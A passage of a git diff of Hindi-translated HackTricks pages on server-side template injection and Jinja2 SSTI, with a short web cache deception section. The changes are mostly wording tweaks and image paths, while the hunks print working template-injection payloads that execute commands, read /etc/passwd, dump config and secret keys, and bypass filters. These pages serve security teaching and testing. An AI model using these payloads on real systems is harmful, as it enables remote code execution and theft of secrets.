* **अच्छी तरह से ज्ञात स्थिर निर्देशिकाएँ**: निम्नलिखित निर्देशिकाएँ स्थिर फ़ाइलें रखती हैं और इसलिए उनकी प्रतिक्रिया को कैश किया जाना चाहिए: /static, /assets, /wp-content, /media, /templates, /public, /shared
|
||||
* एक कैश को गतिशील प्रतिक्रिया संग्रहीत करने के लिए मजबूर करना संभव है एक delimiter, एक स्थिर निर्देशिका और डॉट्स का उपयोग करके जैसे: `/home/..%2fstatic/something` `/static/something` को कैश करेगा और प्रतिक्रिया होगी `/home`
|
||||
* **स्थिर निर्देशिकाएँ + डॉट्स**: `/static/..%2Fhome` या `/static/..%5Chome` का अनुरोध जैसा है वैसा कैश किया जा सकता है लेकिन प्रतिक्रिया `/home` हो सकती है
|
||||
* **स्थिर फ़ाइलें:** कुछ विशिष्ट फ़ाइलें हमेशा कैश की जाती हैं जैसे `/robots.txt`, `/favicon.ico`, और `/index.html`। जिसे इस तरह से दुरुपयोग किया जा सकता है जैसे `/home/..%2Frobots.txt` जहाँ कैश `/robots.txt` को संग्रहीत कर सकता है और मूल सर्वर `/home` के लिए प्रतिक्रिया देता है।
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -1,8 +1,8 @@
|
|||
# SSTI (Server Side Template Injection)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -23,13 +23,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## What is SSTI (Server-Side Template Injection)
|
||||
|
||||
सर्वर-साइड टेम्पलेट इंजेक्शन एक कमजोरियों है जो तब होती है जब एक हमलावर एक टेम्पलेट में दुर्भावनापूर्ण कोड इंजेक्ट कर सकता है जो सर्वर पर निष्पादित होता है। यह कमजोरी विभिन्न तकनीकों में पाई जा सकती है, जिसमें Jinja शामिल है।
|
||||
Server-side template injection एक सुरक्षा कमजोरी है जो तब होती है जब एक हमलावर एक टेम्पलेट में दुर्भावनापूर्ण कोड इंजेक्ट कर सकता है जो सर्वर पर निष्पादित होता है। यह कमजोरी विभिन्न तकनीकों में पाई जा सकती है, जिसमें Jinja शामिल है।
|
||||
|
||||
Jinja एक लोकप्रिय टेम्पलेट इंजन है जो वेब अनुप्रयोगों में उपयोग किया जाता है। आइए एक उदाहरण पर विचार करें जो Jinja का उपयोग करते हुए एक कमजोर कोड स्निपेट को प्रदर्शित करता है:
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
इस कमजोर कोड में, उपयोगकर्ता के अनुरोध से `name` पैरामीटर को सीधे टेम्पलेट में `render` फ़ंक्शन का उपयोग करके पास किया जाता है। यह संभावित रूप से एक हमलावर को `name` पैरामीटर में दुर्भावनापूर्ण कोड इंजेक्ट करने की अनुमति दे सकता है, जिससे सर्वर-साइड टेम्पलेट इंजेक्शन हो सकता है।
|
||||
इस कमजोर कोड में, उपयोगकर्ता के अनुरोध से `name` पैरामीटर को सीधे `render` फ़ंक्शन का उपयोग करके टेम्पलेट में पास किया जाता है। यह संभावित रूप से एक हमलावर को `name` पैरामीटर में दुर्भावनापूर्ण कोड इंजेक्ट करने की अनुमति दे सकता है, जिससे सर्वर-साइड टेम्पलेट इंजेक्शन हो सकता है।
|
||||
|
||||
उदाहरण के लिए, एक हमलावर इस तरह के पेलोड के साथ एक अनुरोध तैयार कर सकता है:
|
||||
```
|
||||
|
@ -50,7 +50,7 @@ The payload `{{bad-stuff-here}}` को `name` पैरामीटर मे
|
|||
|
||||
#### Identification Phase
|
||||
|
||||
टेम्पलेट इंजन की पहचान करने के लिए त्रुटि संदेशों का विश्लेषण करना या विभिन्न भाषा-विशिष्ट पेलोड का मैन्युअल परीक्षण करना शामिल है। सामान्य पेलोड जो त्रुटियाँ उत्पन्न करते हैं उनमें `${7/0}`, `{{7/0}}`, और `<%= 7/0 %>` शामिल हैं। गणितीय संचालन के प्रति सर्वर की प्रतिक्रिया को देखना विशिष्ट टेम्पलेट इंजन को पहचानने में मदद करता है।
|
||||
टेम्पलेट इंजन की पहचान करने के लिए त्रुटि संदेशों का विश्लेषण करना या विभिन्न भाषा-विशिष्ट पेलोड का मैन्युअल परीक्षण करना शामिल है। सामान्य पेलोड जो त्रुटियाँ उत्पन्न करते हैं उनमें `${7/0}`, `{{7/0}}`, और `<%= 7/0 %>` शामिल हैं। गणितीय संचालन के लिए सर्वर की प्रतिक्रिया को देखना विशिष्ट टेम्पलेट इंजन को पहचानने में मदद करता है।
|
||||
|
||||
## Tools
|
||||
|
||||
|
@ -81,7 +81,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
|
|||
|
||||
### Generic
|
||||
|
||||
इस **wordlist** में आप नीचे उल्लेखित कुछ इंजनों के वातावरण में **परिभाषित वेरिएबल्स** पा सकते हैं:
|
||||
इस **wordlist** में आप नीचे दिए गए कुछ इंजनों के वातावरण में **परिभाषित वेरिएबल्स** पा सकते हैं:
|
||||
|
||||
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||||
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
|
||||
|
@ -101,7 +101,7 @@ ${class.getResource("../../../../../index.htm").getContent()}
|
|||
```java
|
||||
${T(java.lang.System).getenv()}
|
||||
```
|
||||
**जावा - /etc/passwd प्राप्त करें**
|
||||
**Java - /etc/passwd प्राप्त करें**
|
||||
```java
|
||||
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
|
||||
|
||||
|
@ -135,7 +135,7 @@ ${dwf.newInstance(ec,null)("id")}
|
|||
```
|
||||
**अधिक जानकारी**
|
||||
|
||||
* FreeMarker अनुभाग में [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) के FreeMarker अनुभाग में
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
|
||||
|
||||
### Velocity (Java)
|
||||
|
@ -168,7 +168,7 @@ $out.read()
|
|||
|
||||
### Thymeleaf
|
||||
|
||||
Thymeleaf में, SSTI कमजोरियों के लिए एक सामान्य परीक्षण है अभिव्यक्ति `${7*7}`, जो इस टेम्पलेट इंजन पर भी लागू होता है। संभावित रिमोट कोड निष्पादन के लिए, निम्नलिखित अभिव्यक्तियों का उपयोग किया जा सकता है:
|
||||
Thymeleaf में, SSTI कमजोरियों के लिए एक सामान्य परीक्षण है अभिव्यक्ति `${7*7}`, जो इस टेम्पलेट इंजन पर भी लागू होता है। संभावित दूरस्थ कोड निष्पादन के लिए, निम्नलिखित अभिव्यक्तियों का उपयोग किया जा सकता है:
|
||||
|
||||
* SpringEL:
|
||||
|
||||
|
@ -181,11 +181,11 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
|
|||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
Thymeleaf को इन अभिव्यक्तियों को विशिष्ट विशेषताओं के भीतर रखा जाना आवश्यक है। हालाँकि, _expression inlining_ अन्य टेम्पलेट स्थानों के लिए समर्थित है, जैसे कि `[[...]]` या `[(...)]` का उपयोग करके। इस प्रकार, एक सरल SSTI परीक्षण पेलोड इस तरह दिख सकता है `[[${7*7}]]`.
|
||||
Thymeleaf को इन अभिव्यक्तियों को विशिष्ट विशेषताओं के भीतर रखा जाना आवश्यक है। हालाँकि, _expression inlining_ अन्य टेम्पलेट स्थानों के लिए समर्थित है, जैसे कि `[[...]]` या `[(...)]` का उपयोग करके। इस प्रकार, एक सरल SSTI परीक्षण पेलोड इस तरह दिख सकता है `[[${7*7}]]`।
|
||||
|
||||
हालांकि, इस पेलोड के काम करने की संभावना आमतौर पर कम होती है। Thymeleaf की डिफ़ॉल्ट कॉन्फ़िगरेशन गतिशील टेम्पलेट निर्माण का समर्थन नहीं करती है; टेम्पलेट को पूर्वनिर्धारित होना चाहिए। डेवलपर्स को ऑन-द-फ्लाई स्ट्रिंग से टेम्पलेट बनाने के लिए अपना खुद का `TemplateResolver` लागू करने की आवश्यकता होगी, जो असामान्य है।
|
||||
हालांकि, इस पेलोड के काम करने की संभावना आमतौर पर कम होती है। Thymeleaf की डिफ़ॉल्ट कॉन्फ़िगरेशन गतिशील टेम्पलेट निर्माण का समर्थन नहीं करती है; टेम्पलेट को पूर्वनिर्धारित होना चाहिए। डेवलपर्स को ऑन-द-फ्लाई स्ट्रिंग से टेम्पलेट बनाने के लिए अपना `TemplateResolver` लागू करने की आवश्यकता होगी, जो असामान्य है।
|
||||
|
||||
Thymeleaf _expression preprocessing_ भी प्रदान करता है, जहाँ डबल अंडरस्कोर (`__...__`) के भीतर अभिव्यक्तियों को पूर्वप्रसंस्कृत किया जाता है। इस सुविधा का उपयोग अभिव्यक्तियों के निर्माण में किया जा सकता है, जैसा कि Thymeleaf के दस्तावेज़ में प्रदर्शित किया गया है:
|
||||
Thymeleaf _expression preprocessing_ भी प्रदान करता है, जहाँ डबल अंडरस्कोर (`__...__`) के भीतर अभिव्यक्तियों को पूर्व-प्रसंस्कृत किया जाता है। इस सुविधा का उपयोग अभिव्यक्तियों के निर्माण में किया जा सकता है, जैसा कि Thymeleaf के दस्तावेज़ में प्रदर्शित किया गया है:
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
|
@ -213,7 +213,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
|||
```java
|
||||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||||
```
|
||||
**फिल्टर को बायपास करें**
|
||||
**फिल्टर बायपास करें**
|
||||
|
||||
यदि `${...}` काम नहीं करता है तो कई वेरिएबल एक्सप्रेशंस का उपयोग किया जा सकता है, जैसे `#{...}`, `*{...}`, `@{...}` या `~{...}`।
|
||||
|
||||
|
@ -282,6 +282,7 @@ Pebble का पुराना संस्करण ( < संस्करण
|
|||
|
||||
|
||||
|
||||
|
||||
{% set bytes = (1).TYPE
|
||||
.forName('java.lang.Runtime')
|
||||
.methods[6]
|
||||
|
@ -329,7 +330,7 @@ Jinjava एक ओपन सोर्स प्रोजेक्ट है ज
|
|||
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
"com.hubspot.content.hubl.context.TemplateContextRequest" के लिए खोजें और [Github पर Jinjava प्रोजेक्ट](https://github.com/HubSpot/jinjava/) का पता लगाएं।
|
||||
"com.hubspot.content.hubl.context.TemplateContextRequest" के लिए खोजें और [Jinjava प्रोजेक्ट को Github पर खोजें](https://github.com/HubSpot/jinjava/).
|
||||
```java
|
||||
{{request.isDebug()}}
|
||||
//output: False
|
||||
|
@ -386,7 +387,7 @@ Expression Language (EL) एक मौलिक विशेषता है ज
|
|||
|
||||
* **JavaServer Faces (JSF)**: JSF पृष्ठों में घटकों को संबंधित बैकएंड डेटा और क्रियाओं से जोड़ने के लिए EL का उपयोग करता है।
|
||||
* **JavaServer Pages (JSP)**: JSP में डेटा को एक्सेस और मैनिपुलेट करने के लिए EL का उपयोग किया जाता है, जिससे पृष्ठ तत्वों को एप्लिकेशन डेटा से जोड़ना आसान हो जाता है।
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: EL CDI के साथ एकीकृत होता है ताकि वेब परत और प्रबंधित बीन के बीच निर्बाध बातचीत सुनिश्चित की जा सके, जिससे एक अधिक संगठित एप्लिकेशन संरचना बनती है।
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: EL CDI के साथ एकीकृत होता है ताकि वेब परत और प्रबंधित बीन के बीच निर्बाध बातचीत सुनिश्चित की जा सके, जिससे एक अधिक संगठित एप्लिकेशन संरचना सुनिश्चित होती है।
|
||||
|
||||
**EL इंटरप्रेटर्स के शोषण** के बारे में अधिक जानने के लिए निम्नलिखित पृष्ठ देखें:
|
||||
|
||||
|
@ -525,7 +526,7 @@ echo $templates->render('profile', ['name' => 'Jonathan']);
|
|||
|
||||
### PHPlib और HTML\_Template\_PHPLIB (PHP)
|
||||
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) PHPlib के समान है लेकिन Pear पर पोर्ट किया गया है।
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) PHPlib के समान है लेकिन इसे Pear पर पोर्ट किया गया है।
|
||||
|
||||
`authors.tpl`
|
||||
```html
|
||||
|
@ -765,6 +766,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
|
||||
|
||||
|
||||
{{os.system('whoami')}}
|
||||
{{os.system('whoami')}}
|
||||
```
|
||||
|
@ -797,6 +799,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
|
||||
|
||||
|
||||
{{settings.SECRET_KEY}}
|
||||
{{4*4}}[[5*5]]
|
||||
{{7*'7'}} would result in 7777777
|
||||
|
@ -816,7 +819,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
|
||||
```
|
||||
[**RCE पर निर्भर नहीं है**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
|
||||
[**RCE निर्भर नहीं है**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
|
||||
```python
|
||||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||||
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
||||
|
@ -882,7 +885,7 @@ ${x}
|
|||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
यह भले ही पर्ल है, लेकिन यह रूबी में ERB की तरह टैग का उपयोग करता है।
|
||||
यह पर्ल होने के बावजूद, यह रूबी में ERB की तरह टैग का उपयोग करता है।
|
||||
|
||||
* `<%= 7*7 %> = 49`
|
||||
* `<%= foobar %> = Error`
|
||||
|
@ -896,7 +899,7 @@ Go के टेम्पलेट इंजन में, इसके उप
|
|||
|
||||
* `{{ . }}`: डेटा संरचना इनपुट को प्रकट करता है। उदाहरण के लिए, यदि एक ऑब्जेक्ट जिसमें `Password` विशेषता है, पास किया जाता है, तो `{{ .Password }}` इसे उजागर कर सकता है।
|
||||
* `{{printf "%s" "ssti" }}`: "ssti" स्ट्रिंग प्रदर्शित करने की अपेक्षा की जाती है।
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}`: ये पेलोड "html" या "js" को जोड़ने के बिना "ssti" लौटाने चाहिए। आगे के निर्देशों को Go दस्तावेज़ में [यहां](https://golang.org/pkg/text/template) खोजा जा सकता है।
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}`: ये पेलोड "ssti" को "html" या "js" जोड़े बिना लौटाना चाहिए। आगे के निर्देशों को Go दस्तावेज़ में [यहां](https://golang.org/pkg/text/template) खोजा जा सकता है।
|
||||
|
||||
**XSS Exploitation**
|
||||
|
||||
|
@ -908,7 +911,7 @@ vbnet Copy code
|
|||
|
||||
RCE शोषण `html/template` और `text/template` के बीच काफी भिन्न है। `text/template` मॉड्यूल किसी भी सार्वजनिक फ़ंक्शन को सीधे कॉल करने की अनुमति देता है ( "call" मान का उपयोग करके), जो `html/template` में अनुमति नहीं है। इन मॉड्यूल के लिए दस्तावेज़ [html/template के लिए यहां](https://golang.org/pkg/html/template/) और [text/template के लिए यहां](https://golang.org/pkg/text/template/) उपलब्ध है।
|
||||
|
||||
Go में SSTI के माध्यम से RCE के लिए, ऑब्जेक्ट विधियों को बुलाया जा सकता है। उदाहरण के लिए, यदि प्रदान किया गया ऑब्जेक्ट एक `System` विधि है जो कमांड चलाता है, तो इसे इस तरह से शोषित किया जा सकता है `{{ .System "ls" }}`। इसे शोषित करने के लिए आमतौर पर स्रोत कोड तक पहुंच आवश्यक होती है, जैसा कि दिए गए उदाहरण में:
|
||||
Go में SSTI के माध्यम से RCE के लिए, ऑब्जेक्ट विधियों को आह्वान किया जा सकता है। उदाहरण के लिए, यदि प्रदान किया गया ऑब्जेक्ट एक `System` विधि है जो कमांड निष्पादित करता है, तो इसे इस तरह से शोषित किया जा सकता है: `{{ .System "ls" }}`। इसे शोषित करने के लिए आमतौर पर स्रोत कोड तक पहुंच आवश्यक होती है, जैसा कि दिए गए उदाहरण में:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
|
@ -942,7 +945,7 @@ return string(out)
|
|||
* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
|
||||
* [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
## ब्रूट-फोर्स डिटेक्शन सूची
|
||||
## ब्रूट-फोर्स डिटेक्शन लिस्ट
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
|
@ -959,16 +962,16 @@ return string(out)
|
|||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें **फॉलो** करें।**
|
||||
* **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करके हैकिंग ट्रिक्स साझा करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Jinja2 SSTI
|
||||
|
||||
{% hint style="success" %}
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -35,7 +35,7 @@ app.run()
|
|||
|
||||
### **Debug Statement**
|
||||
|
||||
यदि Debug Extension सक्षम है, तो एक `debug` टैग उपलब्ध होगा जो वर्तमान संदर्भ के साथ-साथ उपलब्ध फ़िल्टर और परीक्षणों को डंप करेगा। यह टेम्पलेट में उपयोग के लिए क्या उपलब्ध है, यह देखने के लिए उपयोगी है बिना डिबगर सेट किए।
|
||||
यदि Debug Extension सक्षम है, तो एक `debug` टैग उपलब्ध होगा जो वर्तमान संदर्भ के साथ-साथ उपलब्ध फ़िल्टर और परीक्षणों को डंप करेगा। यह टेम्पलेट में उपयोग के लिए उपलब्ध चीज़ों को देखने के लिए उपयोगी है बिना डिबगर सेटअप किए।
|
||||
```python
|
||||
<pre>
|
||||
|
||||
|
@ -47,6 +47,7 @@ app.run()
|
|||
|
||||
|
||||
|
||||
|
||||
</pre>
|
||||
```
|
||||
### **सभी कॉन्फ़िगरेशन वेरिएबल्स को डंप करें**
|
||||
|
@ -63,6 +64,7 @@ app.run()
|
|||
|
||||
|
||||
|
||||
|
||||
```
|
||||
## **Jinja Injection**
|
||||
|
||||
|
@ -70,8 +72,8 @@ app.run()
|
|||
|
||||
### Global Objects तक पहुंच
|
||||
|
||||
उदाहरण के लिए, कोड `render_template("hello.html", username=username, email=email)` में वस्तुएं username और email **गैर-सैंडबॉक्स पायथन वातावरण से आती हैं** और **सैंडबॉक्स वातावरण के अंदर सुलभ होंगी।**\
|
||||
इसके अलावा, अन्य वस्तुएं हैं जो **हमेशा सैंडबॉक्स वातावरण से सुलभ होंगी**, ये हैं:
|
||||
उदाहरण के लिए, कोड `render_template("hello.html", username=username, email=email)` में वस्तुएं username और email **गैर-सैंडबॉक्स पायथन वातावरण से आती हैं** और **सैंडबॉक्स वातावरण** के अंदर **सुलभ** होंगी।\
|
||||
इसके अलावा, अन्य वस्तुएं हैं जो **हमेशा सैंडबॉक्स वातावरण से सुलभ** होंगी, ये हैं:
|
||||
```
|
||||
[]
|
||||
''
|
||||
|
@ -84,7 +86,7 @@ request
|
|||
|
||||
फिर, इन ऑब्जेक्ट्स से हमें **`<class 'object'>`** क्लास तक पहुंचने की आवश्यकता है ताकि हम परिभाषित **क्लासेस** को **recover** करने की कोशिश कर सकें। इसका कारण यह है कि इस ऑब्जेक्ट से हम **`__subclasses__`** मेथड को कॉल कर सकते हैं और **non-sandboxed** python env से सभी क्लासेस तक पहुंच सकते हैं।
|
||||
|
||||
इस **ऑब्जेक्ट क्लास** तक पहुंचने के लिए, आपको **क्लास ऑब्जेक्ट** तक पहुंचने की आवश्यकता है और फिर या तो **`__base__`**, **`__mro__()[-1]`** या `.`**`mro()[-1]`** तक पहुंचें। और फिर, **इस ऑब्जेक्ट क्लास** तक पहुंचने के बाद हम **`__subclasses__()`** को **call** करते हैं।
|
||||
उस **ऑब्जेक्ट क्लास** तक पहुंचने के लिए, आपको **एक क्लास ऑब्जेक्ट** तक पहुंचने की आवश्यकता है और फिर **`__base__`**, **`__mro__()[-1]`** या `.`**`mro()[-1]`** में से किसी एक तक पहुंचें। और फिर, **इस ऑब्जेक्ट क्लास** तक पहुंचने के बाद हम **`__subclasses__()`** को **call** करते हैं।
|
||||
|
||||
इन उदाहरणों को देखें:
|
||||
```python
|
||||
|
@ -123,6 +125,7 @@ dict.__mro__[-1]
|
|||
|
||||
|
||||
|
||||
|
||||
# Not sure if this will work, but I saw it somewhere
|
||||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
|
@ -201,10 +204,11 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
|
||||
|
||||
|
||||
```
|
||||
* [**यहां अधिक विकल्पों के लिए वापस लौटें जो एक वैश्विक ऑब्जेक्ट तक पहुँचने के लिए हैं**](jinja2-ssti.md#accessing-global-objects)
|
||||
* [**यहां अधिक विकल्पों के लिए वापस लौटें जो ऑब्जेक्ट क्लास तक पहुँचने के लिए हैं**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
* [**यह पढ़ें ताकि आप ऑब्जेक्ट क्लास के बिना RCE प्राप्त कर सकें**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
||||
* [**यहां अधिक विकल्पों के लिए वापस लौटें ताकि एक वैश्विक वस्तु तक पहुंच सकें**](jinja2-ssti.md#accessing-global-objects)
|
||||
* [**यहां अधिक विकल्पों के लिए वापस लौटें ताकि वस्तु वर्ग तक पहुंच सकें**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
* [**यह पढ़ें ताकि वस्तु वर्ग के बिना RCE प्राप्त कर सकें**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
|
||||
|
||||
**HTML एन्कोडिंग से बचना**
|
||||
|
||||
|
@ -241,6 +245,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
|
||||
|
||||
|
||||
```
|
||||
## Jinja Injection बिना **\<class 'object'>**
|
||||
|
||||
|
@ -281,6 +286,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
|
||||
{% endraw %}
|
||||
|
||||
|
||||
## Extra
|
||||
## The global from config have a access to a function called import_string
|
||||
## with this function you don't need to access the builtins
|
||||
|
@ -323,8 +329,8 @@ The request will be urlencoded by default according to the HTTP format, which ca
|
|||
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
